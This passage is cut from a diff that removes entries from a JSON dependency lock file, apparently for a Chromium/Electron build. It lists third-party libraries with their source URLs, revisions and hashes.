-                    "url": "https://chromium.googlesource.com/chromium/dom-distiller/dist.git"
-                },
-                "fetcher": "fetchFromGitiles"
-            },
-            "src/third_party/domato/src": {
-                "args": {
-                    "hash": "sha256-fYxoA0fxKe9U23j+Jp0MWj4m7RfsRpM0XjF6/yOhX1I=",
-                    "rev": "053714bccbda79cf76dac3fee48ab2b27f21925e",
-                    "url": "https://chromium.googlesource.com/external/github.com/googleprojectzero/domato.git"
-                },
-                "fetcher": "fetchFromGitiles"
-            },
-            "src/third_party/eigen3/src": {
-                "args": {
-                    "hash": "sha256-UroGjERR5TW9KbyLwR/NBpytXrW1tHfu6ZvQPngROq4=",
-                    "rev": "b396a6fbb2e173f52edb3360485dedf3389ef830",
-                    "url": "https://chromium.googlesource.com/external/gitlab.com/libeigen/eigen.git"
-                },
-                "fetcher": "fetchFromGitiles"
-            },
-            "src/third_party/electron_node": {
-                "args": {
-                    "hash": "sha256-vc3Ztw8m0P96QoCjtyu2Nb0TpVMu9ifrVlkJY15aVbE=",
-                    "owner": "nodejs",
-                    "repo": "node",
-                    "tag": "v20.19.1"
-                },
-                "fetcher": "fetchFromGitHub"
-            },
-            "src/third_party/emoji-segmenter/src": {
-                "args": {
-                    "hash": "sha256-KdQdKBBipEBRT8UmNGao6yCB4m2CU8/SrMVvcXlb5qE=",
-                    "rev": "955936be8b391e00835257059607d7c5b72ce744",
-                    "url": "https://chromium.googlesource.com/external/github.com/google/emoji-segmenter.git"
-                },
-                "fetcher": "fetchFromGitiles"
-            },
-            "src/third_party/engflow-reclient-configs": {
-                "args": {
-                    "hash": "sha256-aZXYPj9KYBiZnljqOLlWJWS396Fg3EhjiQLZmkwCBsY=",
-                    "owner": "EngFlow",
-                    "repo": "reclient-configs",
-                    "rev": "955335c30a752e9ef7bff375baab5e0819b6c00d"
-                },
-                "fetcher": "fetchFromGitHub"
-            },
-            "src/third_party/expat/src": {
-                "args": {
-                    "hash": "sha256-Iwu9+i/0vsPyu6pOWFxjNNblVxMl6bTPW5eWyaju4Mg=",
-                    "rev": "624da0f593bb8d7e146b9f42b06d8e6c80d032a3",
-                    "url": "https://chromium.googlesource.com/external/github.com/libexpat/libexpat.git"
-                },
-                "fetcher": "fetchFromGitiles"
-            },
-            "src/third_party/farmhash/src": {
-                "args": {
-                    "hash": "sha256-5n58VEUxa/K//jAfZqG4cXyfxrp50ogWDNYcgiXVHdc=",
-                    "rev": "816a4ae622e964763ca0862d9dbd19324a1eaf45",
-                    "url": "https://chromium.googlesource.com/external/github.com/google/farmhash.git"
-                },
-                "fetcher": "fetchFromGitiles"
-            },
-            "src/third_party/fast_float/src": {
-                "args": {
-                    "hash": "sha256-0eVovauN7SnO3nSIWBRWAJ4dR7q5beZrIGUZ18M2pao=",
-                    "rev": "3e57d8dcfb0a04b5a8a26b486b54490a2e9b310f",
-                    "url": "https://chromium.googlesource.com/external/github.com/fastfloat/fast_float.git"
-                },
-                "fetcher": "fetchFromGitiles"
-            },
-            "src/third_party/ffmpeg": {
-                "args": {
-                    "hash": "sha256-wwHxNuZe2hBmGBpVg/iQJBoL350jfPYPTPqDn3RiqZE=",
-                    "rev": "591ae4b02eaff9a03e2ec863da895128b0b49910",
-                    "url": "https://chromium.googlesource.com/chromium/third_party/ffmpeg.git"
-                },
-                "fetcher": "fetchFromGitiles"
-            },
-            "src/third_party/flac": {
-                "args": {
-                    "hash": "sha256-gvTFPNOlBfozptaH7lTb9iD/09AmpdT3kCl9ClszjEs=",
-                    "rev": "689da3a7ed50af7448c3f1961d1791c7c1d9c85c",
-                    "url": "https://chromium.googlesource.com/chromium/deps/flac.git"
-                },
-                "fetcher": "fetchFromGitiles"
-            },
-            "src/third_party/flatbuffers/src": {
-                "args": {
-                    "hash": "sha256-tbc45o0MbMvK5XqRUJt5Eg8BU6+TJqlmwFgQhHq6wRM=",
-                    "rev": "8db59321d9f02cdffa30126654059c7d02f70c32",
-                    "url": "https://chromium.googlesource.com/external/github.com/google/flatbuffers.git"
-                },
-                "fetcher": "fetchFromGitiles"
-            },
-            "src/third_party/fontconfig/src": {
-                "args": {
-                    "hash": "sha256-W5WIgC6A52kY4fNkbsDEa0o+dfd97Rl5NKfgnIRpI00=",
-                    "rev": "14d466b30a8ab4a9d789977ed94f2c30e7209267",
-                    "url": "https://chromium.googlesource.com/external/fontconfig.git"
-                },
-                "fetcher": "fetchFromGitiles"
-            },
-            "src/third_party/fp16/src": {
-                "args": {
-                    "hash": "sha256-m2d9bqZoGWzuUPGkd29MsrdscnJRtuIkLIMp3fMmtRY=",
-                    "rev": "0a92994d729ff76a58f692d3028ca1b64b145d91",
-                    "url": "https://chromium.googlesource.com/external/github.com/Maratyszcza/FP16.git"
-                },
-                "fetcher": "fetchFromGitiles"
-            },
-            "src/third_party/freetype-testing/src": {
-                "args": {
-                    "hash": "sha256-2aHPchIK5Oce5+XxdXVCC+8EM6i0XT0rFbjSIVa2L1A=",
-                    "rev": "7a69b1a2b028476f840ab7d4a2ffdfe4eb2c389f",
-                    "url": "https://chromium.googlesource.com/external/github.com/freetype/freetype2-testing.git"
-                },
-                "fetcher": "fetchFromGitiles"
-            },
-            "src/third_party/freetype/src": {
-                "args": {
-                    "hash": "sha256-+nbRZi3vAMTURhhFVUu5+59fVIv0GH3YZog2JavyVLY=",
-                    "rev": "0ae7e607370cc66218ccfacf5de4db8a35424c2f",
-                    "url": "https://chromium.googlesource.com/chromium/src/third_party/freetype2.git"
-                },
-                "fetcher": "fetchFromGitiles"
-            },
-            "src/third_party/fuzztest/src": {
-                "args": {
-                    "hash": "sha256-UYmzjOX8k+CWL+xOIF3NiEL3TRUjS8JflortB2RUT4o=",
-                    "rev": "0021f30508bc7f73fa5270962d022acb480d242f",
-                    "url": "https://chromium.googlesource.com/external/github.com/google/fuzztest.git"
-                },
-                "fetcher": "fetchFromGitiles"
-            },
-            "src/third_party/fxdiv/src": {
-                "args": {
-                    "hash": "sha256-LjX5kivfHbqCIA5pF9qUvswG1gjOFo3CMpX0VR+Cn38=",
-                    "rev": "63058eff77e11aa15bf531df5dd34395ec3017c8",
-                    "url": "https://chromium.googlesource.com/external/github.com/Maratyszcza/FXdiv.git"
-                },
-                "fetcher": "fetchFromGitiles"
-            },
-            "src/third_party/gemmlowp/src": {
-                "args": {
-                    "hash": "sha256-O5wD8wxgis0qYMaY+xZ21GBDVQFphMRvInCOswS6inA=",
-                    "rev": "13d57703abca3005d97b19df1f2db731607a7dc2",
-                    "url": "https://chromium.googlesource.com/external/github.com/google/gemmlowp.git"
-                },
-                "fetcher": "fetchFromGitiles"
-            },
-            "src/third_party/glslang/src": {
-                "args": {
-                    "hash": "sha256-twWSeJp9bNbLYFszCWv9BCztfbXUBKSWV55/U+hd2hw=",
-                    "rev": "9c644fcb5b9a1a9c975c50a790fd14c5451292b0",
-                    "url": "https://chromium.googlesource.com/external/github.com/KhronosGroup/glslang"
-                },
-                "fetcher": "fetchFromGitiles"
-            },
-            "src/third_party/google_benchmark/src": {
-                "args": {
-                    "hash": "sha256-cH8s1gP6kCcojAAfTt5iQCVqiAaSooNk4BdaILujM3w=",
-                    "rev": "761305ec3b33abf30e08d50eb829e19a802581cc",
-                    "url": "https://chromium.googlesource.com/external/github.com/google/benchmark.git"
-                },
-                "fetcher": "fetchFromGitiles"
-            },
-            "src/third_party/googletest/src": {
-                "args": {
-                    "hash": "sha256-n7tiIFAj8AiSCa9Tw+1j+ro9cSt5vagZpkbBBUUtYQY=",
-                    "rev": "d144031940543e15423a25ae5a8a74141044862f",
-                    "url": "https://chromium.googlesource.com/external/github.com/google/googletest.git"
-                },
-                "fetcher": "fetchFromGitiles"
-            },
-            "src/third_party/grpc/src": {
-                "args": {
-                    "hash": "sha256-64JEVCx/PCM0dvv7kAQvSjLc0QbRAZVBDzwD/FAV6T8=",
-                    "rev": "822dab21d9995c5cf942476b35ca12a1aa9d2737",
-                    "url": "https://chromium.googlesource.com/external/github.com/grpc/grpc.git"
-                },
-                "fetcher": "fetchFromGitiles"
-            },
-            "src/third_party/harfbuzz-ng/src": {
-                "args": {
-                    "hash": "sha256-iR49rfGDKxPObCff1/30hYHpP5FpZ28ROgMZhNk9eFY=",
-                    "rev": "1da053e87f0487382404656edca98b85fe51f2fd",
-                    "url": "https://chromium.googlesource.com/external/github.com/harfbuzz/harfbuzz.git"
-                },
-                "fetcher": "fetchFromGitiles"
-            },
-            "src/third_party/highway/src": {
-                "args": {
-                    "hash": "sha256-IS7m1wBwpPBUNhx2GttY1fzvmLIeAp3o2gXfrFpRdvY=",
-                    "rev": "00fe003dac355b979f36157f9407c7c46448958e",
-                    "url": "https://chromium.googlesource.com/external/github.com/google/highway.git"
-                },
-                "fetcher": "fetchFromGitiles"
-            },
-            "src/third_party/hunspell_dictionaries": {
-                "args": {
-                    "hash": "sha256-67mvpJRFFa9eMfyqFMURlbxOaTJBICnk+gl0b0mEHl8=",
-                    "rev": "41cdffd71c9948f63c7ad36e1fb0ff519aa7a37e",
-                    "url": "https://chromium.googlesource.com/chromium/deps/hunspell_dictionaries.git"
-                },
-                "fetcher": "fetchFromGitiles"
-            },
-            "src/third_party/icu": {
-                "args": {
-                    "hash": "sha256-WtCoxcbEkkZayB6kXdQEhZ7/ue+ka6cguhFbpeWUBJA=",
-                    "rev": "ba7ed88cc5ffa428a82a0f787dd61031aa5ef4ca",
-                    "url": "https://chromium.googlesource.com/chromium/deps/icu.git"
-                },
-                "fetcher": "fetchFromGitiles"
-            },
-            "src/third_party/ink/src": {
-                "args": {
-                    "hash": "sha256-+Ikr9E7KlXBFyf6fSDmIF3ygNUiwlXeA5bmO2CtkI7Q=",
-                    "rev": "4300dc7402a257b85fc5bf2559137edacb050227",
-                    "url": "https://chromium.googlesource.com/external/github.com/google/ink.git"
-                },
-                "fetcher": "fetchFromGitiles"
-            },
-            "src/third_party/ink_stroke_modeler/src": {
-                "args": {
-                    "hash": "sha256-IQ+n+kHdEq8Q8/qaPGMvgD7cPN3zzaY8dbiokq6r/Vs=",
-                    "rev": "0999e4cf816b42c770d07916698bce943b873048",
-                    "url": "https://chromium.googlesource.com/external/github.com/google/ink-stroke-modeler.git"
-                },
-                "fetcher": "fetchFromGitiles"
-            },
-            "src/third_party/instrumented_libs": {
-                "args": {
-                    "hash": "sha256-kHKGADAgzlaeckXFbpU1GhJK+zkiRd9XvdtPF6qrQFY=",
-                    "rev": "bb6dbcf2df7a9beb34c3773ef4df161800e3aed9",
-                    "url": "https://chromium.googlesource.com/chromium/third_party/instrumented_libraries.git"
-                },
-                "fetcher": "fetchFromGitiles"
-            },
-            "src/third_party/jsoncpp/source": {
-                "args": {
-                    "hash": "sha256-bSLNcoYBz3QCt5VuTR056V9mU2PmBuYBa0W6hFg2m8Q=",
-                    "rev": "42e892d96e47b1f6e29844cc705e148ec4856448",
-                    "url": "https://chromium.googlesource.com/external/github.com/open-source-parsers/jsoncpp.git"
-                },
-                "fetcher": "fetchFromGitiles"
-            },
-            "src/third_party/leveldatabase/src": {
-                "args": {
-                    "hash": "sha256-y3awFXL8ih2UhEqWj8JRgkhzSxfQciLztb020JHJ350=",
-                    "rev": "23e35d792b9154f922b8b575b12596a4d8664c65",
-                    "url": "https://chromium.googlesource.com/external/leveldb.git"
-                },
-                "fetcher": "fetchFromGitiles"
-            },
-            "src/third_party/libFuzzer/src": {
-                "args": {
-                    "hash": "sha256-jPS+Xi/ia0sMspxSGN38zasmVS/HslxH/qOFsV9TguE=",
-                    "rev": "a7128317fe7935a43d6c9f39df54f21113951941",
-                    "url": "https://chromium.googlesource.com/external/github.com/llvm/llvm-project/compiler-rt/lib/fuzzer.git"
-                },
-                "fetcher": "fetchFromGitiles"
-            },
-            "src/third_party/libaddressinput/src": {
-                "args": {
-                    "hash": "sha256-xvUUQSPrvqUp5DI9AqlRTWurwDW087c6v4RvI+4sfOQ=",
-                    "rev": "e8712e415627f22d0b00ebee8db99547077f39bd",
-                    "url": "https://chromium.googlesource.com/external/libaddressinput.git"
-                },
-                "fetcher": "fetchFromGitiles"
-            },
-            "src/third_party/libaom/source/libaom": {
-                "args": {
-                    "hash": "sha256-9VhEVOG9cReDOGoX+x5G/jJ8Y5RDoQIiLMoZtt5c9pI=",
-                    "rev": "be60f06ab420d6a65c477213f04c8b0f2e12ba2e",
-                    "url": "https://aomedia.googlesource.com/aom.git"
-                },
-                "fetcher": "fetchFromGitiles"
-            },
-            "src/third_party/libavif/src": {
-                "args": {
-                    "hash": "sha256-lUuVyh2srhWMNUp4lEivyDic3MSZf5s63iAb84We80M=",
-                    "rev": "1cdeff7ecf456492c47cf48fc0cef6591cdc95da",
-                    "url": "https://chromium.googlesource.com/external/github.com/AOMediaCodec/libavif.git"
-                },
-                "fetcher": "fetchFromGitiles"
-            },
-            "src/third_party/libc++/src": {
-                "args": {
-                    "hash": "sha256-kmhTlz/qjvN0Qlra7Wz05O6X058hPPn0nVvAxFXQDC4=",
-                    "rev": "8e31ad42561900383e10dbefc1d3e8f38cedfbe9",
-                    "url": "https://chromium.googlesource.com/external/github.com/llvm/llvm-project/libcxx.git"
-                },
-                "fetcher": "fetchFromGitiles"
-            },
-            "src/third_party/libc++abi/src": {
-                "args": {
-                    "hash": "sha256-CwiK9Td8aRS08RywItHKFvibzDAUYYd0YNRKxYPLTD8=",
-                    "rev": "cec7f478354a8c8599f264ed8bb6043b5468f72d",
-                    "url": "https://chromium.googlesource.com/external/github.com/llvm/llvm-project/libcxxabi.git"
-                },
-                "fetcher": "fetchFromGitiles"
-            },
-            "src/third_party/libdrm/src": {
-                "args": {
-                    "hash": "sha256-woSYEDUfcEBpYOYnli13wLMt754A7KnUbmTEcFQdFGw=",
-                    "rev": "ad78bb591d02162d3b90890aa4d0a238b2a37cde",
-                    "url": "https://chromium.googlesource.com/chromiumos/third_party/libdrm.git"
-                },
-                "fetcher": "fetchFromGitiles"
-            },
-            "src/third_party/libgav1/src": {
-                "args": {
-                    "hash": "sha256-+ss9S5t+yoHzqbtX68+5OyyUbJVecYLwp+C3EXfAziE=",
-                    "rev": "a2f139e9123bdb5edf7707ac6f1b73b3aa5038dd",
-                    "url": "https://chromium.googlesource.com/codecs/libgav1.git"
-                },
-                "fetcher": "fetchFromGitiles"
-            },
-            "src/third_party/libipp/libipp": {
-                "args": {
-                    "hash": "sha256-gxU92lHLd6uxO8T3QWhZIK0hGy97cki705DV0VimCPY=",
-                    "rev": "2209bb84a8e122dab7c02fe66cc61a7b42873d7f",
-                    "url": "https://chromium.googlesource.com/chromiumos/platform2/libipp.git"
-                },
-                "fetcher": "fetchFromGitiles"
-            },
-            "src/third_party/libjpeg_turbo": {
-                "args": {
-                    "hash": "sha256-qgHXAjCDFxQ+QqJ8pSmI1NUvHvKKTi4MkIe1I/+hUAI=",
-                    "rev": "927aabfcd26897abb9776ecf2a6c38ea5bb52ab6",
-                    "url": "https://chromium.googlesource.com/chromium/deps/libjpeg_turbo.git"
-                },
-                "fetcher": "fetchFromGitiles"
-            },
-            "src/third_party/liblouis/src": {
-                "args": {
-                    "hash": "sha256-EI/uaHXe0NlqdEw764q0SjerThYEVLRogUlmrsZwXnY=",
-                    "rev": "9700847afb92cb35969bdfcbbfbbb74b9c7b3376",
-                    "url": "https://chromium.googlesource.com/external/liblouis-github.git"
-                },
-                "fetcher": "fetchFromGitiles"
-            },
-            "src/third_party/libphonenumber/dist": {
-                "args": {
-                    "hash": "sha256-3hSnTFTD3KAdbyxfKg12qbIYTmw6YlTCH64gMP/HUJo=",
-                    "rev": "140dfeb81b753388e8a672900fb7a971e9a0d362",
-                    "url": "https://chromium.googlesource.com/external/libphonenumber.git"
-                },
-                "fetcher": "fetchFromGitiles"
-            },
-            "src/third_party/libprotobuf-mutator/src": {
-                "args": {
-                    "hash": "sha256-ZyPweW+V5foxFQwjjMLkaRUo+FNV+kEDGIH/4oRV614=",
-                    "rev": "a304ec48dcf15d942607032151f7e9ee504b5dcf",
-                    "url": "https://chromium.googlesource.com/external/github.com/google/libprotobuf-mutator.git"
-                },
-                "fetcher": "fetchFromGitiles"
-            },
-            "src/third_party/libsrtp": {
-                "args": {
-                    "hash": "sha256-4qEZ9MD97MoqCUlZtbEhIKy+fDO1iIWqyrBsKwkjXTg=",
-                    "rev": "000edd791434c8738455f10e0dd6b268a4852c0b",
-                    "url": "https://chromium.googlesource.com/chromium/deps/libsrtp.git"
-                },
-                "fetcher": "fetchFromGitiles"
-            },
-            "src/third_party/libsync/src": {
-                "args": {
-                    "hash": "sha256-Mkl6C1LxF3RYLwYbxiSfoQPt8QKFwQWj/Ati2sNJ32E=",
-                    "rev": "f4f4387b6bf2387efbcfd1453af4892e8982faf6",
-                    "url": "https://chromium.googlesource.com/aosp/platform/system/core/libsync.git"
-                },
-                "fetcher": "fetchFromGitiles"
-            },
-            "src/third_party/libunwind/src": {
-                "args": {
-                    "hash": "sha256-uA+t5Ecc/iK3mllHR8AMVGRfU/7z1G3yrw0TamPQiOY=",
-                    "rev": "5b01ea4a6f3b666b7d190e7cb7c31db2ed4d94ce",
-                    "url": "https://chromium.googlesource.com/external/github.com/llvm/llvm-project/libunwind.git"
-                },
-                "fetcher": "fetchFromGitiles"
-            },
-            "src/third_party/libvpx/source/libvpx": {
-                "args": {
-                    "hash": "sha256-QGm37X4uid8zv+vRu0pVTvoQd2WcKztrj3tJkDjx82o=",
-                    "rev": "727319a77ffe68e9aacb08e09ae7151b3a8f70a3",
-                    "url": "https://chromium.googlesource.com/webm/libvpx.git"
-                },
-                "fetcher": "fetchFromGitiles"
-            },
-            "src/third_party/libwebm/source": {
-                "args": {
-                    "hash": "sha256-Mn3snC2g4BDKBJsS6cxT3BZL7LZknOWg77+60Nr4Hy0=",
-                    "rev": "26d9f667170dc75e8d759a997bb61c64dec42dda",
-                    "url": "https://chromium.googlesource.com/webm/libwebm.git"
-                },
-                "fetcher": "fetchFromGitiles"
-            },
-            "src/third_party/libwebp/src": {
-                "args": {
-                    "hash": "sha256-xuRpEwOnaLGZmrPvfUn3DSoJANd94CG+JXcN7Mdmk5I=",
-                    "rev": "845d5476a866141ba35ac133f856fa62f0b7445f",
-                    "url": "https://chromium.googlesource.com/webm/libwebp.git"
-                },
-                "fetcher": "fetchFromGitiles"
-            },
-            "src/third_party/libyuv": {
-                "args": {
-                    "hash": "sha256-vPVq7RzqO7gBUgYuNX0Fwxqok9jtXXJZgbhVFchG5Ws=",
-                    "rev": "6ac7c8f25170c85265fca69fd1fe5d31baf3344f",
-                    "url": "https://chromium.googlesource.com/libyuv/libyuv.git"
-                },
-                "fetcher": "fetchFromGitiles"
-            },
-            "src/third_party/llvm-libc/src": {
-                "args": {
-                    "hash": "sha256-av9JdqLOQbezgRS4P8QXmvfB5l47v04WRagNJJgT5u4=",
-                    "rev": "ca74a72e2b32ad804522bbef04dfe32560a10206",
-                    "url": "https://chromium.googlesource.com/external/github.com/llvm/llvm-project/libc.git"
-                },
-                "fetcher": "fetchFromGitiles"
-            },
-            "src/third_party/lss": {
-                "args": {
-                    "hash": "sha256-hE8uZf9Fst66qJkoVYChiB8G41ie+k9M4X0W+5JUSdw=",
-                    "rev": "ce877209e11aa69dcfffbd53ef90ea1d07136521",
-                    "url": "https://chromium.googlesource.com/linux-syscall-support.git"
-                },
-                "fetcher": "fetchFromGitiles"
-            },
-            "src/third_party/material_color_utilities/src": {
-                "args": {
-                    "hash": "sha256-Y85XU+z9W6tvmDNHJ/dXQnUKXvvDkO3nH/kUJRLqbc4=",
-                    "rev": "13434b50dcb64a482cc91191f8cf6151d90f5465",
-                    "url": "https://chromium.googlesource.com/external/github.com/material-foundation/material-color-utilities.git"
-                },
-                "fetcher": "fetchFromGitiles"
-            },
-            "src/third_party/minigbm/src": {
-                "args": {
-                    "hash": "sha256-9HwvjTETerbQ7YKXH9kUB2eWa8PxGWMAJfx1jAluhrs=",
-                    "rev": "3018207f4d89395cc271278fb9a6558b660885f5",
-                    "url": "https://chromium.googlesource.com/chromiumos/platform/minigbm.git"
-                },
-                "fetcher": "fetchFromGitiles"
-            },
-            "src/third_party/nan": {
-                "args": {
-                    "hash": "sha256-cwti+BWmF/l/dqa/cN0C587EK4WwRWcWy6gjFVkaMTg=",
-                    "owner": "nodejs",
-                    "repo": "nan",
-                    "rev": "e14bdcd1f72d62bca1d541b66da43130384ec213"
-                },
-                "fetcher": "fetchFromGitHub"
-            },
-            "src/third_party/nasm": {
-                "args": {
-                    "hash": "sha256-SiRXHsUlWXtH6dbDjDjqNAm105ibEB3jOfNtQAM4CaY=",
-                    "rev": "f477acb1049f5e043904b87b825c5915084a9a29",
-                    "url": "https://chromium.googlesource.com/chromium/deps/nasm.git"
-                },
-                "fetcher": "fetchFromGitiles"
-            },
-            "src/third_party/nearby/src": {
-                "args": {
-                    "hash": "sha256-DO3FW5Q233ctFKk4K5F8oZec9kfrVl6uxAwMn0niKz4=",
-                    "rev": "8e87a6e51c93e7836ecdbcc0a520c7992f3ece13",
-                    "url": "https://chromium.googlesource.com/external/github.com/google/nearby-connections.git"
-                },
-                "fetcher": "fetchFromGitiles"
-            },
-            "src/third_party/neon_2_sse/src": {
-                "args": {
-                    "hash": "sha256-299ZptvdTmCnIuVVBkrpf5ZTxKPwgcGUob81tEI91F0=",
-                    "rev": "a15b489e1222b2087007546b4912e21293ea86ff",
-                    "url": "https://chromium.googlesource.com/external/github.com/intel/ARM_NEON_2_x86_SSE.git"
-                },
-                "fetcher": "fetchFromGitiles"
-            },
-            "src/third_party/openh264/src": {
-                "args": {
-                    "hash": "sha256-S7dS2IZwt4p4ZrF6K7E5HnwKuI3owU2I7vwtu95uTkE=",
-                    "rev": "478e5ab3eca30e600006d5a0a08b176fd34d3bd1",
-                    "url": "https://chromium.googlesource.com/external/github.com/cisco/openh264"
-                },
-                "fetcher": "fetchFromGitiles"
-            },
-            "src/third_party/openscreen/src": {
-                "args": {
-                    "hash": "sha256-IlGxfw6Mhc7FYvhU2+Ngt9qflqr4JMC2OcplvksGI+U=",
-                    "rev": "cb6fd42532fc3a831d6863d5006217e32a67c417",
-                    "url": "https://chromium.googlesource.com/openscreen"
-                },
-                "fetcher": "fetchFromGitiles"
-            },
-            "src/third_party/openscreen/src/buildtools": {
-                "args": {
-                    "hash": "sha256-suuxUL//BfAMmG8os8ChI7ic9EjGTi7y5kjxiAyrEQc=",
-                    "rev": "4e0e9c73a0f26735f034f09a9cab2a5c0178536b",
-                    "url": "https://chromium.googlesource.com/chromium/src/buildtools"
-                },
-                "fetcher": "fetchFromGitiles"
-            },
-            "src/third_party/openscreen/src/third_party/tinycbor/src": {
-                "args": {
-                    "hash": "sha256-fMKBFUSKmODQyg4hKIa1hwnEKIV6WBbY1Gb8DOSnaHA=",
-                    "rev": "d393c16f3eb30d0c47e6f9d92db62272f0ec4dc7",
-                    "url": "https://chromium.googlesource.com/external/github.com/intel/tinycbor.git"
-                },
-                "fetcher": "fetchFromGitiles"
-            },
-            "src/third_party/ots/src": {
-                "args": {
-                    "hash": "sha256-kiUXrXsaGOzPkKh0dVmU1I13WHt0Stzj7QLMqHN9FbU=",
-                    "rev": "46bea9879127d0ff1c6601b078e2ce98e83fcd33",
-                    "url": "https://chromium.googlesource.com/external/github.com/khaledhosny/ots.git"
-                },
-                "fetcher": "fetchFromGitiles"
-            },
-            "src/third_party/pdfium": {
-                "args": {
-                    "hash": "sha256-d8qJECIdq01ct+sS7cHVKFulYJarwahKCEcVf762JNI=",
-                    "rev": "84a8011ec69d0e2de271c05be7d62979608040d9",
-                    "url": "https://pdfium.googlesource.com/pdfium.git"
-                },
-                "fetcher": "fetchFromGitiles"
-            },
-            "src/third_party/perfetto": {
-                "args": {
-                    "hash": "sha256-3vervpsq/QLMrR7RcJMwwh+CdFvSEj8yAzj6s9d1XMo=",
-                    "rev": "ea011a2c2d3aecdc4f1674887e107a56d2905edd",
-                    "url": "https://android.googlesource.com/platform/external/perfetto.git"
-                },
-                "fetcher": "fetchFromGitiles"
-            },
-            "src/third_party/protobuf-javascript/src": {
-                "args": {
-                    "hash": "sha256-TmP6xftUVTD7yML7UEM/DB8bcsL5RFlKPyCpcboD86U=",
-                    "rev": "e34549db516f8712f678fcd4bc411613b5cc5295",
-                    "url": "https://chromium.googlesource.com/external/github.com/protocolbuffers/protobuf-javascript"
-                },
-                "fetcher": "fetchFromGitiles"
-            },
-            "src/third_party/pthreadpool/src": {
-                "args": {
-                    "hash": "sha256-rGg6lgLkmbYo+a9CdaXz9ZUyrqJ1rxLcjLJeBEOPAlE=",
-                    "rev": "560c60d342a76076f0557a3946924c6478470044",
-                    "url": "https://chromium.googlesource.com/external/github.com/Maratyszcza/pthreadpool.git"
-                },
-                "fetcher": "fetchFromGitiles"
-            },
-            "src/third_party/pyelftools": {
-                "args": {
-                    "hash": "sha256-I/7p3IEvfP/gkes4kx18PvWwhAKilQKb67GXoW4zFB4=",
-                    "rev": "19b3e610c86fcadb837d252c794cb5e8008826ae",
-                    "url": "https://chromium.googlesource.com/chromiumos/third_party/pyelftools.git"
-                },
-                "fetcher": "fetchFromGitiles"
-            },
-            "src/third_party/pywebsocket3/src": {
-                "args": {
-                    "hash": "sha256-WEqqu2/7fLqcf/2/IcD7/FewRSZ6jTgVlVBvnihthYQ=",
-                    "rev": "50602a14f1b6da17e0b619833a13addc6ea78bc2",
-                    "url": "https://chromium.googlesource.com/external/github.com/GoogleChromeLabs/pywebsocket3.git"
-                },
-                "fetcher": "fetchFromGitiles"
-            },
-            "src/third_party/quic_trace/src": {
-                "args": {
-                    "hash": "sha256-N1uFoNd3mz/LH1z06581Ds7BUyc67SNXUPzqomYREr8=",
-                    "rev": "413da873d93a03d3662f24b881ea459a79f9c589",
-                    "url": "https://chromium.googlesource.com/external/github.com/google/quic-trace.git"
-                },
-                "fetcher": "fetchFromGitiles"
-            },
-            "src/third_party/re2/src": {
-                "args": {
-                    "hash": "sha256-IeANwJlJl45yf8iu/AZNDoiyIvTCZIeK1b74sdCfAIc=",
-                    "rev": "6dcd83d60f7944926bfd308cc13979fc53dd69ca",
-                    "url": "https://chromium.googlesource.com/external/github.com/google/re2.git"
-                },
-                "fetcher": "fetchFromGitiles"
-            },
-            "src/third_party/ruy/src": {
-                "args": {
-                    "hash": "sha256-4NVvqUZn2BdwTxJINTHwPeRqbGXZrWdcd7jv1Y+eoKY=",
-                    "rev": "c08ec529fc91722bde519628d9449258082eb847",
-                    "url": "https://chromium.googlesource.com/external/github.com/google/ruy.git"
-                },
-                "fetcher": "fetchFromGitiles"
-            },
-            "src/third_party/securemessage/src": {
-                "args": {
-                    "hash": "sha256-GS4ccnuiqxMs/LVYAtvSlVAYFp4a5GoZsxcriTX3k78=",
-                    "rev": "fa07beb12babc3b25e0c5b1f38c16aa8cb6b8f84",
-                    "url": "https://chromium.googlesource.com/external/github.com/google/securemessage.git"
-                },
-                "fetcher": "fetchFromGitiles"
-            },
-            "src/third_party/skia": {
-                "args": {
-                    "hash": "sha256-e+oaFqj0D7jKiyDJRmT3BWZEd9j9BKkTdMg8hUOAvzA=",
-                    "rev": "ee9db7d1348f76780fd0184b9b0243d653e36411",
-                    "url": "https://skia.googlesource.com/skia.git"
-                },
-                "fetcher": "fetchFromGitiles"
-            },
-            "src/third_party/smhasher/src": {
-                "args": {
-                    "hash": "sha256-RyC//me08hwGXRrWcK8GZ1uhIkBq4FByA7fHCVDsniw=",
-                    "rev": "e87738e57558e0ec472b2fc3a643b838e5b6e88f",
-                    "url": "https://chromium.googlesource.com/external/smhasher.git"
-                },
-                "fetcher": "fetchFromGitiles"
-            },
-            "src/third_party/snappy/src": {
-                "args": {
-                    "hash": "sha256-5fV6NfO8vmqK+iCwpLtE2YjYOzjsshctauyjNIOxrH0=",
-                    "rev": "c9f9edf6d75bb065fa47468bf035e051a57bec7c",
-                    "url": "https://chromium.googlesource.com/external/github.com/google/snappy.git"
-                },
-                "fetcher": "fetchFromGitiles"
-            },
-            "src/third_party/speedometer/v3.0": {
-                "args": {
-                    "hash": "sha256-qMQ4naX+4uUu3vtzzinjkhxX9/dNoTwj6vWCu4FdQmU=",
-                    "rev": "8d67f28d0281ac4330f283495b7f48286654ad7d",
-                    "url": "https://chromium.googlesource.com/external/github.com/WebKit/Speedometer.git"
-                },
-                "fetcher": "fetchFromGitiles"
-            },
-            "src/third_party/spirv-cross/src": {
-                "args": {
-                    "hash": "sha256-H43M9DXfEuyKuvo6rjb5k0KEbYOSFodbPJh8ZKY4PQg=",
-                    "rev": "b8fcf307f1f347089e3c46eb4451d27f32ebc8d3",
-                    "url": "https://chromium.googlesource.com/external/github.com/KhronosGroup/SPIRV-Cross"
-                },
-                "fetcher": "fetchFromGitiles"
-            },
-            "src/third_party/spirv-headers/src": {
-                "args": {
-                    "hash": "sha256-FrT/kVIMjcu2zv+7kDeNKM77NnOyMBb8pV0w8DBP42A=",
-                    "rev": "996c728cf7dcfb29845cfa15222822318f047810",
-                    "url": "https://chromium.googlesource.com/external/github.com/KhronosGroup/SPIRV-Headers"
-                },
-                "fetcher": "fetchFromGitiles"
-            },
-            "src/third_party/spirv-tools/src": {
-                "args": {
-                    "hash": "sha256-m/a1i26u8lzpKuQHyAy6ktWWjbLZEaio1awz8VovTGE=",
-                    "rev": "9117e042b93d4ff08d2406542708170f77aaa2a3",
-                    "url": "https://chromium.googlesource.com/external/github.com/KhronosGroup/SPIRV-Tools"
-                },
-                "fetcher": "fetchFromGitiles"
-            },
-            "src/third_party/sqlite/src": {
-                "args": {
-                    "hash": "sha256-ltl3OTk/wZPSj3yYthNlKd3mBxef6l5uW6UYTwebNek=",
-                    "rev": "567495a62a62dc013888500526e82837d727fe01",
-                    "url": "https://chromium.googlesource.com/chromium/deps/sqlite.git"
-                },
-                "fetcher": "fetchFromGitiles"
